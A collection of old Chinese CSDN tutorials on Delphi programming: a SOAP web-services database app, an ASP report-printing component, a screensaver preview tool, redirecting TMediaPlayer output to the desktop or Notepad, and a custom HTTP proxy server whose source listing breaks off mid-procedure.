    TDXPlay控件是写这类程序的关键，其属性、事件和方法并不多。GUID属性用来程序的自我识别，具有相同GUID的程序互相之间就能识别，所以你可以看到GUID是一个很长的数字；Open方法用来打开通讯端口，Close用来关闭通讯端口；SendMessage方法是用来发送消息到所有的游戏者，当你的程序收到消息的时候，会产生OnMessage 事件。

    这个程序的代码应该是相当简练了，但是却完成了点对点的多点聊天功能。如果你在自己的程序里约定好一套规则，那么你的程序也就具备了互相的通信能力，是不是感觉很简单?可以说，利用DirectX来写这方面的通信程序是最佳的选择，你可以对网络的知识完全不懂，因为这一切已经由Microsoft花费了大量人力物力进行优化的代码来完成了。如果说有什么缺点，就是要求用户的电脑上一定要安装上DirectX，这在现在win98越来越普及的情况下，并不是一件难事。再说，Microsoft的DirectX也是一套完全免费的软件。利用DirectX优秀的性能加上功能强大的 Delphi语言，相信你一定能写出一套优秀的游戏软件（当然拥有设计良好的对战功能）。

Copyright &copy; 上海聚声计算机系统工程有限责任公司 1999-2000, All Rights Reserved


CSDN_文档中心_用Delphi开发Web Services数据库程序

第一步：编写服务器的应用程序

首先在Delphi的IDE中选择”File|New|Other…”,然后在WebServices页面中选择Soap Server Application图标,如下图所示：

然后在New Soap Server Application对话框中选择Web App Debugger executable,如下图所示：

点击OK按钮之后,Delphi会自动生成一个WebModule,在这个Module中会包含三个WebServices的控件,如下图所示：

然后然后在WebServices页面中选择Soap Server Data Module图标, OK后, Delphi 弹出Soap Data Module Wizard对话框, 如下图所示：

在Class Name中输入类名：D6DBDataModule1. 点击OK后, Delphi会自动产生一个SOAP数据模块, 在该模块中加入TdataBase, Tquery, TdataSetProvider, 三个控件, 如下图所示：

设置各控件的属性,跟以往的Delphi数据库应用程序的设置基本上相同, 其中, TdataSetProvider是一个DataAccess控件, 提供远程呼叫的支持.

编译执行该应用程序, 使之注册. 完成服务器端的应用程序设计.

第二步：编写客户端的应用程序

添加一个新的应用程序项目, 在Form窗体中添加TDBNavigator, TDBGrid控件, 如下图所示：

然后添加一个数据模块, 在其中加入TSaopConnection, TclientDataSet和TdataSource控件, 如下图所示：

其中的TSaopConnection控件就是利用SOAP协议与远程服务器端相联的接口. 该控件的属性设置如下图所示, TsaopConnection的URL的格式：

http://WebServer的地址/ WebService的应用程序名称/soap/SoapServerDataModule 的名称

然后设置TclientDataSet控件的属性, 设置RemoteServer的属性为TsaopConnection控件的名字, 点选 ProviderName.

接下来, 在窗体所在的单元添加如下代码：

unit Unit4;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, ExtCtrls, DBCtrls, Grids, DBGrids;

type

TForm4 = class(TForm)

DBGrid1: TDBGrid;

DBNavigator1: TDBNavigator;

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form4: TForm4;

implementation

uses Unit5,DB; //引用DataModule所在单元;

{$R *.dfm}

end.

设置TDBNavigator,TDBGri控件的DataSource的属性为dmDemo1.dsDemo1, 其中, dmDemo1是数据模块的名字, dsDemo1为数据模块中的TdataSource控件的名字.

激活TclientDataSet的Active属性为True, Form窗体得到如下的画面.

编译持行该项目组,把客户端程序复制到网络上的任一台计算机, 都可执行. 一个Web Services 的数举库应用程序例子完成.

参考资料：实战Delphi6/Kylix2:SOAP/Web Service程序设计篇 , 作者：李维

本例的设计思想大多来自该书, 以及一些控件的名字


CSDN_文档中心_用Delphi开发报表打印的ASP组件

ASP在对数据库操作方面提供了很好的内嵌对象。但是，其他方面的功能有所欠缺，如：报表打印。特别是国内的复杂的报表，用ASP很难实现。

不过，ASP支持插件，这就可以根据需要开发ASP插件，笔者用Delphi5.0开发了ASP打印组件。下面笔者将分步来开发一个通用的报表打印的ASP组件。

第一步：新建一个Activex Library,命名为PrintT,然后再新建一个Active Server Object Class，命名为Print，即建立了一个名为Print的ASP组件，文件命名为Unit1.pas。

第二步：打开Type Library，新建一个方法Print1，用于传递报表打印。

第三步：新建一个DataModule，放入Adoconnection组件和AdoTable组件，文件名为Unit2.pas。

第四步：新建一个TQuickRep，设计你要打印的报表，文件名为文件名为Unit23.pas。以下是个文件的详细代码：
{=============Unit1.pas===============}

unit Unit1;

interface

uses
ComObj, ActiveX, AspTlb, PrintT_TLB, StdVcl;

type
TPrint = class(TASPObject, IPrint)
protected
procedure OnEndPage; safecall;
procedure OnStartPage(const AScriptingContext: IUnknown); safecall;
procedure Print1; safecall;
end;

implementation

uses ComServ,unit2,unit23;

procedure TPrint.OnEndPage;
begin
inherited OnEndPage;
end;

procedure TPrint.OnStartPage(const AScriptingContext: IUnknown);
begin
inherited OnStartPage(AScriptingContext);
end;

procedure TPrint.Print1;
begin
IdearRpt.Print;
end;

initialization
TAutoObjectFactory.Create(ComServer, TPrint, Class_Print,
ciMultiInstance, tmApartment);
end.

{===============Unit2.pas===============}

unit Unit2;

interface

uses
SysUtils, Windows, Messages, Classes, Graphics, Controls, Forms,
Dialogs, DBTables, DB, ADODB;

type
TCustomerData = class(TDataModule)
ADOConnection1: TADOConnection;
ADOTable1: TADOTable;
DataSource1: TDataSource;
ADOTable1NIANH: TStringField;
ADOTable1XUH: TStringField;
ADOTable1SHENQDW: TStringField;
ADOTable1SHENQRQ: TDateTimeField;
ADOTable1FARDB: TStringField;
ADOTable1FARDH: TStringField;
ADOTable1LIANXR: TStringField;
ADOTable1LIANXRDH: TStringField;
ADOTable1DANWZCDZ: TStringField;
ADOTable1JIANSXZDM: TStringField;
ADOTable1JIANSGM: TBCDField;
ADOTable1ZHIGRS: TBCDField;
ADOTable1YONGDFH: TBCDField;
ADOTable1RIYSL: TBCDField;
ADOTable1RIPSL: TBCDField;
ADOTable1JIANZSJGD: TBCDField;
ADOTable1RANQYL: TBCDField;
ADOTable1YONGDYQ: TStringField;
ADOTable1RELYL: TBCDField;
ADOTable1JIANSXM: TStringField;
ADOTable1PIZWH: TStringField;
ADOTable1JIANSGM2: TBCDField;
ADOTable1YONGDXZDM: TStringField;
ADOTable1YONGDWZ: TStringField;
ADOTable1DONGL: TStringField;
ADOTable1XIL: TStringField;
ADOTable1NANL: TStringField;
ADOTable1BEIL: TStringField;
ADOTable1CHANG: TBCDField;
ADOTable1KUAN: TBCDField;
ADOTable1ZONGMJ1: TBCDField;
ADOTable1ZONGMJ2: TBCDField;
ADOTable1YOUXRQ1: TDateTimeField;
ADOTable1YOUXRQ2: TDateTimeField;
ADOTable1BEIZ: TStringField;
ADOTable1JINGB: TStringField;
ADOTable1SHENH: TStringField;
ADOTable1SHEND: TStringField;
ADOTable1SHENDRQ: TDateTimeField;
ADOTable1PICTURE: TBlobField;

private
{ Private declarations }
public
{ Public declarations }
end;

var
CustomerData: TCustomerData;

implementation

{$R *.DFM}

end.

{===========Unit23.pas===============}

unit Unit23;

interface

uses Windows, SysUtils, Messages, Classes, Graphics, Controls,
StdCtrls, ExtCtrls, Forms, Quickrpt, QRCtrls;

type
TIdearRpt = class(TQuickRep)
PageFooterBand1: TQRBand;
PageHeaderBand1: TQRBand;
QRLabel1: TQRLabel;
QRLabel2: TQRLabel;
QRLabel3: TQRLabel;
QRDBText15: TQRDBText;
QRDBText17: TQRDBText;
QRDBText19: TQRDBText;
QRDBText13: TQRDBText;
QRLabel46: TQRLabel;
QRLabel47: TQRLabel;
TitleBand1: TQRBand;
QRShape1: TQRShape;
QRShape2: TQRShape;
QRShape3: TQRShape;
QRShape4: TQRShape;
QRShape5: TQRShape;
QRShape6: TQRShape;
QRLabel4: TQRLabel;
QRLabel5: TQRLabel;
QRLabel6: TQRLabel;
QRShape7: TQRShape;
QRShape8: TQRShape;
QRLabel7: TQRLabel;
QRLabel8: TQRLabel;
QRLabel11: TQRLabel;
QRLabel12: TQRLabel;
QRDBText1: TQRDBText;
QRDBText2: TQRDBText;
QRDBText4: TQRDBText;
QRDBText6: TQRDBText;
QRDBText3: TQRDBText;
QRShape9: TQRShape;
QRLabel9: TQRLabel;
QRDBText5: TQRDBText;
QRShape17: TQRShape;
QRShape22: TQRShape;
QRShape23: TQRShape;
QRShape24: TQRShape;
QRShape25: TQRShape;
QRShape26: TQRShape;
QRShape27: TQRShape;
QRShape10: TQRShape;
QRShape11: TQRShape;
QRShape12: TQRShape;
QRShape13: TQRShape;
QRShape18: TQRShape;
QRShape19: TQRShape;
QRLabel10: TQRLabel;
QRLabel13: TQRLabel;
QRLabel14: TQRLabel;
QRLabel15: TQRLabel;
QRLabel16: TQRLabel;
QRLabel17: TQRLabel;
QRLabel18: TQRLabel;
QRLabel19: TQRLabel;
QRLabel20: TQRLabel;
QRLabel21: TQRLabel;
QRLabel22: TQRLabel;
QRLabel23: TQRLabel;
QRLabel24: TQRLabel;
QRLabel32: TQRLabel;
QRLabel33: TQRLabel;
QRLabel34: TQRLabel;
QRLabel35: TQRLabel;
QRLabel36: TQRLabel;
QRShape20: TQRShape;
QRLabel37: TQRLabel;
QRLabel38: TQRLabel;
QRLabel41: TQRLabel;
QRLabel42: TQRLabel;
QRLabel43: TQRLabel;
QRLabel44: TQRLabel;
QRLabel45: TQRLabel;
QRLabel48: TQRLabel;
QRLabel49: TQRLabel;
QRLabel50: TQRLabel;
QRLabel51: TQRLabel;
QRLabel52: TQRLabel;
QRLabel53: TQRLabel;
QRLabel54: TQRLabel;
QRLabel55: TQRLabel;
QRLabel56: TQRLabel;
QRLabel57: TQRLabel;
QRLabel58: TQRLabel;
QRLabel59: TQRLabel;
QRLabel60: TQRLabel;
QRLabel61: TQRLabel;
QRShape28: TQRShape;
QRLabel62: TQRLabel;
QRLabel63: TQRLabel;
QRDBText7: TQRDBText;
QRDBText8: TQRDBText;
QRDBText9: TQRDBText;
QRDBText10: TQRDBText;
QRDBText11: TQRDBText;
QRDBText12: TQRDBText;
QRDBText14: TQRDBText;
QRDBText16: TQRDBText;
QRDBText18: TQRDBText;
QRDBText20: TQRDBText;
QRDBText21: TQRDBText;
QRDBText22: TQRDBText;
QRDBText23: TQRDBText;
QRDBText24: TQRDBText;
QRDBText25: TQRDBText;
QRDBText26: TQRDBText;
QRDBText27: TQRDBText;
QRDBText28: TQRDBText;
QRDBText29: TQRDBText;
QRDBText30: TQRDBText;
QRDBText31: TQRDBText;
QRDBText32: TQRDBText;
QRDBText33: TQRDBText;
QRDBText34: TQRDBText;
QRDBText35: TQRDBText;
QRMemo4: TQRMemo;
QRDBText36: TQRDBText;
QRDBText37: TQRDBText;
QRDBText38: TQRDBText;
private

public

end;

var
IdearRpt: TIdearRpt;

implementation
uses unit2;
{$R *.DFM}

end.

{=========PrintT.dpr============}

library PrintT;

{%File 'Print.asp'}

uses
ComServ,
PrintT_TLB in 'PrintT_TLB.pas',
Unit1 in 'Unit1.pas' {Print: CoClass},
Unit2 in 'Unit2.pas' {CustomerData: TDataModule},
Unit23 in 'Unit23.pas' {IdearRpt: TQuickRep};

exports
DllGetClassObject,
DllCanUnloadNow,
DllRegisterServer,
DllUnregisterServer;

{$R *.TLB}

{$R *.RES}

begin
IdearRpt := TIdearRPt.Create(NiL);{必不可少}
end.

第五步：编译并注册PrintT组件，即可在ASP代码中调用，调用示例如下：

<% Set DelphiASPObj = Server.CreateObject("PrintT.Print")
DelphiASPObj.Print1

%>

通过以上步骤，我们就顺利地利用Delphi开发出了具有报表功能的ASP组件了。当然，笔者只是介绍了一个简单的思路，希望能起到抛砖引玉之功效。


CSDN_文档中心_用Delphi开发屏幕保护预览程序

用Delphi开发屏幕保护预览程序
整理编辑：China ASP

---- 大 家 都 知 道windows 屏 幕 保 护 程 序 的 作 用, 而 且 新 的 屏 幕 保 护 程 序 越 来 越 漂 亮. 如 果 在win95 的 桌 面 右 键 菜 单 选 属 性, 就 弹 出 显 示 器 设 置 界 面, 有 一 个 标 签 是 设 置 屏 幕 保 护 程 序 的.

---- 在 该 页 的 画 面 上, 有 一 个 显 示 器 图 案, 如 果 你 选 择win95 所 带 的 屏 幕 保 护 程 序, 这 个 屏 幕 保 护 程 序 就 会 在 这 个 小' 显 示 器' 上 自 动 运 行, 你 可 以 直 接 看 到 运 行 效 果. 这 功 能 大 大 方 便 了 屏 幕 保 护 程 序 的 选 择, 这 就 是win95 对 屏 幕 保 护 程 序 的 新 增 接 口: 预 览 功 能.

---- 目 前 大 多 数 新 推 出 的 屏 幕 保 护 程 序 都 支 持 这 个 接 口.

---- 屏 幕 保 护 程 序 从 它 的 诞 生 那 时 起, 在 同 一 时 刻 只 能 运 行 一 个, 不 能 多 个 同 时 运 行, 然 而 预 览 接 口 的 推 出, 使 同 时 预 览 多 个 屏 幕 保 护 程 序 成 为 可 能, 本 文 将 向 读 者 介 绍 如 何 用Delphi 开 发 这 样 一 个 程 序.

---- 1. 屏 幕 保 护 预 览 接 口
---- 屏 幕 保 护 预 览 接 口 的 使 用 很 简 单, 这 是 通 过 传 给 屏 幕 保 护 程 序 的 命 令 行 参 数 来 实 现 的, 该 命 令 行 参 数 格 式 为:

---- screensaver.exe /p #####

---- 其 中##### 为 一 个 有 效 的 窗 口 句 柄 的10 进 制 表 示.

---- 这 个 窗 口 我 们 可 以 称 之 为 预 览 窗 口.

---- 实 际 上, 支 持 预 览 接 口 的 屏 幕 保 护 程 序 将 自 己 的 窗 口 创 建 为 预 览 窗 口 的 子 窗 口 来 实 现 预 览 功 能 的.

---- 2. 画 面 布 局
---- 我 们 这 个 程 序 的 窗 口 分 为 3 部 分, 为 倒' 品' 字 形, 上 左 部 分 列 出 所 有 可 用 的 屏 幕 保 护 程 序, 上 右 部 分 列 出 所 有 预 览 的 屏 幕 保 护 程 序, 下 面 当 然 是 预 览 窗 口 了.

---- 用Delphi 实 现 时, 首 先 在Form 里 放2 个TPanel 组 件, Panel1 对 齐 方 式 为 顶 部 对 齐,Panel2 为 撑 满 用 户 区, 再 在Panel1 中 放1 个TFileListBox 组 件 和 一 个TListBox 组 件,FileListBox1 左 对 齐, ListBox1 撑 满 用 户 区.

---- 这 样, FileListBox1 为 屏 幕 保 护 列 表, ListBox1 为 预 览 列 表, Panel2 为 预 览 窗 口.

---- 3. 列 出 屏 幕 保 护 程 序.
---- 将FileListBox1 的Mask 属 性 设 为'*.scr', 这 是 屏 幕 保 护 程 序 的 扩 展 名.

---- 在FormCreate 方 法 中 将FileListBox1.directory 设 为windows 系 统 目 录GetSystemDirectory;

---- 4. 预 览 屏 幕 保 护 程 序.
---- 在FileListBox1DblClick 方 法 中 运 行 该 屏 幕 保 护 程 序, 并 将Panel2 的 窗 口 句 柄 传 给 它.
---- WinExec(pchar(FileListBox1.FileName + ' /p ' + inttostr(Panel2.handle)), SW_Show);

---- 运 行 程 序, 怎 么 样? COOL!

---- 5. 增 加 一 些 新 特 性: 隐 藏/ 显 示/ 关 闭.
---- 增 加2 个 函 数: 用 于 更 新ListBox1.
function EnumProc(
h : HWND ;// handle of child window
l : integer// application-defined value
): boolean;stdcall;
var
buf : array[0..255] of char;
begin
GetWindowText(h, buf, sizeof(buf)- 1);
if iswindowvisible(h) then
Form1.ListBox1.items.add(' ' +strpas(buf) + ' : ' + inttostr(h))
else
Form1.ListBox1.items.add('-' +strpas(buf) + ' : ' + inttostr(h));
Result := true;
end;

procedure TForm1.Fresh1;
begin
ListBox1.clear;
enumChildwindows(Panel2.handle,
TFNWndEnumProc(@enumproc), 0);
end;

---- 增 加 一 个 弹 出 菜 单Popupmenu1, 3 个 菜 单 项, 'Show, Hide, Close', 将ListBox1.popupmemu 指 向Popupmenu1.
---- Hide 的 处 理 函 数 是:
procedure TForm1.Hide1Click(Sender: TObject);
var
h : integer;
s : string;
begin
if ListBox1.itemindex = -1 then exit;
s := Listbox1.items[ListBox1.itemindex];
h := strtoint(copy(s, pos(':', s) + 1, length(s)));
ShowWindow(h, SW_HIDE);
Fresh1;
end;

Show 的 处 理 函 数 是:
procedure TForm1.Show1Click(Sender: TObject);
var
h : integer;
s : string;
begin
if ListBox1.itemindex = -1 then exit;
s := Listbox1.items[ListBox1.itemindex];
h := strtoint(copy(s, pos(':', s) + 1, length(s)));
ShowWindow(h, SW_SHOW);
Fresh1;
end;

Close 的 处 理 函 数 是:
procedure TForm1.Close1Click(Sender: TObject);
var
h : integer;
s : string;
begin
if ListBox1.itemindex = -1 then exit;
s := Listbox1.items[ListBox1.itemindex];
h := strtoint(copy(s, pos(':', s) + 1, length(s)));
PostMessage(h, WM_QUIT, 0, 0);
Fresh1;
end;

---- 本 程 序 在Delphi 3.0 下 调 试 通 过, 应 该 能 用Delphi 1.0 / 2.0 编 译.

---- 完 整 程 序 如 下:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, FileCtrl, ExtCtrls, Menus;

type
TForm1 = class(TForm)
Panel1: TPanel;
Panel2: TPanel;
FileListBox1: TFileListBox;
ListBox1: TListBox;
PopupMenu1: TPopupMenu;
Hide1: TMenuItem;
Show1: TMenuItem;
Close1: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure FileListBox1DblClick(Sender: TObject);
procedure Hide1Click(Sender: TObject);
procedure Show1Click(Sender: TObject);
procedure Close1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure Fresh1;
end;

var
Form1: TForm1;

implementation

{$R *.DFM}
function EnumProc(
h : HWND ;// handle of child window
l : integer// application-defined value
): boolean;stdcall;
var buf : array[0..255] of char;
begin
GetWindowText(h, buf, sizeof(buf)- 1);
if iswindowvisible(h) then
Form1.ListBox1.items.add(' ' +strpas(buf) + ' : ' + inttostr(h))
else
Form1.ListBox1.items.add('-' +strpas(buf) + ' : ' + inttostr(h));
Result := true;
end;

procedure TForm1.Fresh1;
begin
ListBox1.clear;
enumChildwindows(Panel2.handle, TFNWndEnumProc(@enumproc), 0);
end;

procedure TForm1.FormCreate(Sender: TObject);
var buf : array[0..256] of char;
begin
GetSystemDirectory(buf, sizeof(buf) - 1);
FileListBox1.directory := strpas(buf);
ListBox1.popupmenu := Popupmenu1;
end;

procedure TForm1.FileListBox1DblClick(Sender: TObject);
begin
WinExec(pchar(FileListBox1.FileName + ' /p ' + inttostr(Panel2.handle)), SW_Show);
Fresh1;
end;

procedure TForm1.Hide1Click(Sender: TObject);
var
h : integer;
s : string;
begin
if ListBox1.itemindex = -1 then exit;
s := Listbox1.items[ListBox1.itemindex];
h := strtoint(copy(s, pos(':', s) + 1, length(s)));
ShowWindow(h, SW_HIDE);
Fresh1;
end;

procedure TForm1.Show1Click(Sender: TObject);
var
h : integer;
s : string;
begin
if ListBox1.itemindex = -1 then exit;
s := Listbox1.items[ListBox1.itemindex];
h := strtoint(copy(s, pos(':', s) + 1, length(s)));
ShowWindow(h, SW_SHOW);
Fresh1;
end;

procedure TForm1.Close1Click(Sender: TObject);
var
h : integer;
s : string;
begin
if ListBox1.itemindex = -1 then exit;
s := Listbox1.items[ListBox1.itemindex];
h := strtoint(copy(s, pos(':', s) + 1, length(s)));
PostMessage(h, WM_QUIT, 0, 0);
Fresh1;
end;

end.

Copyright &copy; 上海聚声计算机系统工程有限责任公司 1999-2000, All Rights Reserved


CSDN_文档中心_用Delphi轻松实现背景播放

Delphi的VCL封装得很好，使用起来很方便，但在计算机世界中并没有完美的程序，本文介绍通过修改TMediaPlay代码实现在任意窗口播放

作者:testnet

日期：2002.11.28

TMediaPlay中有一个Display属性，它是TWinControl类型，TWinControl是第一个拥有窗口句柄(Handle)的VCL类，TMediaPlay就是利用这个Handle所Handle的窗口区域播放。 如果我们把Handle指向桌面，哪TMediaPlay将会在桌面播放。与TCanvas不同的是，TWinControl的Handle的属性是只读的，并且GetHandle方法是静态方法，这说明，我们要Handle指向桌面只有两种方法

  1. 修改TWinControl，让Handle可写。
  2. 建立TWinControl子类，并隐藏TWinControl.GetHandle方法,在新方法中返回桌面句柄。

其中第二种方法比较好.

TSurpriseDisplay=class(TWinControl)
protected
function GetHandle:HWnd;virtual;
public
property Handle: HWnd read GetHandle;
end;

其中GetHandle被定义为virtual，这样可以方便继承。因为这里只是隐藏了TWinControl.GetHandle方法，所以当把这个子类赋给TMediaPlay.Display时，它会被强制转换成父类，并调用其GetHandle方法，这样达不到我们的目的。所以我对TMediaPlay作了一点修改，增强其功能，修改后的TMediaPlay完全与原来的兼容.

原代码:

{setting a TWinControl to display video devices' output}
procedure TMediaPlayer.SetDisplay( Value: TWinControl );
var
AWindowParm: TMCI_Anim_Window_Parms;
begin
if (Value <> nil) and MCIOpened and FHasVideo then
begin
FFlags := mci_Wait or mci_Anim_Window_hWnd;
AWindowParm.Wnd := Longint(Value.Handle);

................

end;

修改后

{setting a TWinControl to display video devices' output}
procedure TMediaPlayer.SetDisplay( Value: TWinControl );
var
AWindowParm: TMCI_Anim_Window_Parms;
wnd:HWND;
begin
if (Value <> nil) and MCIOpened and FHasVideo then
begin
FFlags := mci_Wait or mci_Anim_Window_hWnd;
//************************************************************
if Value is TSurpriseDisplay then
wnd:=TSurpriseDisplay(Value).Handle
else
wnd:=Value.Handle;
//************************************************************
AWindowParm.Wnd := Longint(wnd);

............

end;

虽然这种修改并不优美，但能最大限度地保证兼容。别一种修改方法是把TMediaPlay.Display改成TSurpriseDisplay类型，这样可以保证安全。

使用方法：

  • 使用桌面播放

只要在GetHandle中返回桌面句柄,并赋值给Display.

function TSurpriseDisplay.GetHandle:HWnd;
begin
Result:=GetDesktopWindow;
end;

mp.Display:=TSurpriseDisplay.Create(self);

  • 用记事本播放

记得我在TSurpriseDisplay的GetHandle中声明为virtual吗，现在开始发挥它的威力了，写一个类继承自TSurpriseDisplay,覆盖GetHandle方法，返回记事本句柄。

TNotepadDisplay=class(TSurpriseDisplay)
private
wnd:Hwnd;
protected
function GetHandle:HWnd;override;
end;

function TNotepadDisplay.GetHandle:HWnd;
begin
if wnd=0 then
begin
Winexec('notepad.exe',1);
wnd:=FindWindow('Notepad','无标题 - 记事本');
end;
result:=wnd;
end;

mp.Display:=TNotepadDisplay.Create(self);

类似地还可以实现各种播放方式。

源代码下载


CSDN_文档中心_用Delphi设计代理服务器[正确文章]

用Delphi设计自己的代理服务器

笔者在编写一个上网计费软件时，涉及到如何对局域网中各工作站上网计费问题。一般来讲，这些工作站通过代理服务器上网，而采用现成的代理服务器软件时，由于代理服务器软件是封闭的系统，很难编写程序获取实时的上网计时信息。因此，考虑是否能编写自己的代理服务器，一方面解决群体上网，另一方面又解决上网的计费问题呢？
经过实验性编程，终于圆满地解决了该问题。现写出来，与各位同行分享。

1、 思路
当前流行的浏览器的系统选项中有一个参数，即“通过代理服务器连接”，经过编程测
试，当局域网中一台工作站指定了该属性，再发出Internet请求时，请求数据将发送到所指定的代理服务器上，以下为请求数据包示例：
GET http://home.microsoft.com/intl/cn/ HTTP/1.0
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Host: home.microsoft.com
Proxy-Connection: Keep-Alive
其中第一行为目标URL及相关方法、协议，“Host”行指定了目标主机的地址。
由此知道了代理服务的过程：接收被代理端的请求、连接真正的主机、接收主机返回的数据、将接收数据发送到被代理端。
为此可编写一个简单的程序，完成上述网络通信重定向问题。
用Delphi设计时，选用ServerSocket作为与被代理工作站通信的套接字控件，选用ClientSocket动态数组作为与远程主机通信的套接字控件。
编程时应解决的一个重要问题是多重连接处理问题，为了加快代理服务的速度和被代理端的响应速度，套接字控件的属性应设为非阻塞型；各通信会话与套接字动态绑定，用套接字的SocketHandle属性值确定属于哪一个会话。
通信的衔接过程如下图所示：

代理服务器

Serversocket
(1) 接 收
被代理端 发 送 远程主机
(6) (2) (5)
Browser ClientSocket (4) Web Server
接 收
发 送 (3)

（1）、被代理端浏览器发出Web请求，代理服务器的Serversocket接收到请求。
（2）、代理服务器程序自动创建一个ClientSocket，并设置主机地址、端口等属性，然后连接远程主机。
（3）、远程连通后激发发送事件，将Serversocket接收到的Web请求数据包发送到远程主机。
（4）、当远程主机返回页面数据时，激发ClientSocket的读事件，读取页面数据。
（5）、代理服务器程序根据绑定信息确定属于ServerSocket控件中的哪一个Socket应该将从主机接收的页面信息发送到被代理端。
（6）、ServerSocket中的对应Socket将页面数据发送到被代理端。

2、 程序编写
使用Delphi设计以上通信过程非常简单，主要是ServerSocket、ClientSocket的相关事
件驱动程序的程序编写。下面给出作者编写的实验用代理服务器界面与源程序清单，内含简要功能说明：

unit main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, ScktComp, TrayIcon, Menus, StdCtrls;

type
session_record=record
Used: boolean; {会话记录是否可用}
SS_Handle: integer; {代理服务器套接字句柄}
CSocket: TClientSocket; {用于连接远程的套接字}
Lookingup: boolean; {是否正在查找服务器}
LookupTime: integer; {查找服务器时间}
Request: boolean; {是否有请求}
request_str: string; {请求数据块}
client_connected: boolean; {客户机联机标志}
remote_connected: boolean; {远程服务器连接标志}
end;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
ClientSocket1: TClientSocket;
Timer2: TTimer;
TrayIcon1: TTrayIcon;
PopupMenu1: TPopupMenu;
N11: TMenuItem;
N21: TMenuItem;
N1: TMenuItem;
N01: TMenuItem;
Memo1: TMemo;
Edit1: TEdit;
Label1: TLabel;
Timer1: TTimer;
procedure Timer2Timer(Sender: TObject);
procedure N11Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure N21Click(Sender: TObject);
procedure N01Click(Sender: TObject);
procedure ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure ClientSocket1Write(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure ServerSocket1Listen(Sender: TObject;
Socket: TCustomWinSocket);
procedure AppException(Sender: TObject; E: Exception);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
Service_Enabled: boolean; {代理服务是否开启}
session: array of session_record; {会话数组}
sessions: integer; {会话数}
LookUpTimeOut: integer; {连接超时值}
InvalidRequests: integer; {无效请求数}
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

file://系统启动定时器，启动窗显示完成后，缩小到System Tray…
procedure TForm1.Timer2Timer(Sender: TObject);
begin
timer2.Enabled:=false; {关闭定时器}
sessions:=0; {会话数=0}
Application.OnException := AppException; {为了屏蔽代理服务器出现的异常}
invalidRequests:=0; {0错误}
LookUpTimeOut:=60000; {超时值=1分钟}
timer1.Enabled:=true; {打开定时器}
n11.Enabled:=false; {开启服务菜单项失效}
n21.Enabled:=true; {关闭服务菜单项有效}
serversocket1.Port:=988; {代理服务器端口=988}
serversocket1.Active:=true; {开启服务}
form1.hide; {隐藏界面，缩小到System Tray上}
end;

file://开启服务菜单项…
procedure TForm1.N11Click(Sender: TObject);
begin
serversocket1.Active:=true; {开启服务}
end;

file://停止服务菜单项…
procedure TForm1.N21Click(Sender: TObject);
begin
serversocket1.Active:=false; {停止服务}
N11.Enabled:=True;
N21.Enabled:=False;
Service_Enabled:=false; {标志清零}
end;

file://主窗口建立…
procedure TForm1.FormCreate(Sender: TObject);
begin
Service_Enabled:=false;
timer2.Enabled:=true; {窗口建立时，打开定时器}
end;

file://窗口关闭时…
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
timer1.Enabled:=false; {关闭定时器}
if Service_Enabled then
serversocket1.Active:=false; {退出程序时关闭服务}
end;

file://退出程序按钮…
procedure TForm1.N01Click(Sender: TObject);
begin
form1.Close; {退出程序}
end;

file://开启代理服务后…
procedure TForm1.ServerSocket1Listen(Sender: TObject;
Socket: TCustomWinSocket);
begin
Service_Enabled:=true; {置正在服务标志}
N11.Enabled:=false;
N21.Enabled:=true;
end;

file://被代理端连接到代理服务器后，建立一个会话，并与套接字绑定…
procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
var
i,j: integer;
begin
j:=-1;
for i:=1 to sessions do {查找是否有空白项}
if not session[i-1].Used and not session[i-1].CSocket.active then
begin
j:=i-1; {有，分配它}
session[j].Used:=true; {置为在用}
break;
end
else
if not session[i-1].Used and session[i-1].CSocket.active then
session[i-1].CSocket.active:=false;
if j=-1 then
begin {无，新增一个}
j:=sessions;
inc(sessions);
setlength(session,sessions);
session[j].Used:=true; {置为在用}
session[j].CSocket:=TClientSocket.Create(nil);
session[j].CSocket.OnConnect:=ClientSocket1Connect;
session[j].CSocket.OnDisconnect:=ClientSocket1Disconnect;
session[j].CSocket.OnError:=ClientSocket1Error;
session[j].CSocket.OnRead:=ClientSocket1Read;
session[j].CSocket.OnWrite:=ClientSocket1Write;
session[j].Lookingup:=false;
end;
session[j].SS_Handle:=socket.socketHandle; {保存句柄，实现绑定}
session[j].Request:=false; {无请求}
session[j].client_connected:=true; {客户机已连接}
session[j].remote_connected:=false; {远程未连接}
edit1.text:=inttostr(sessions);
end;

file://被代理端断开时…
procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
var
i,j,k: integer;
begin
for i:=1 to sessions do
if (session[i-1].SS_Handle=socket.SocketHandle) and session[i-1].Used then
begin
session[i-1].client_connected:=false; {客户机未连接}
if session[i-1].remote_connected then
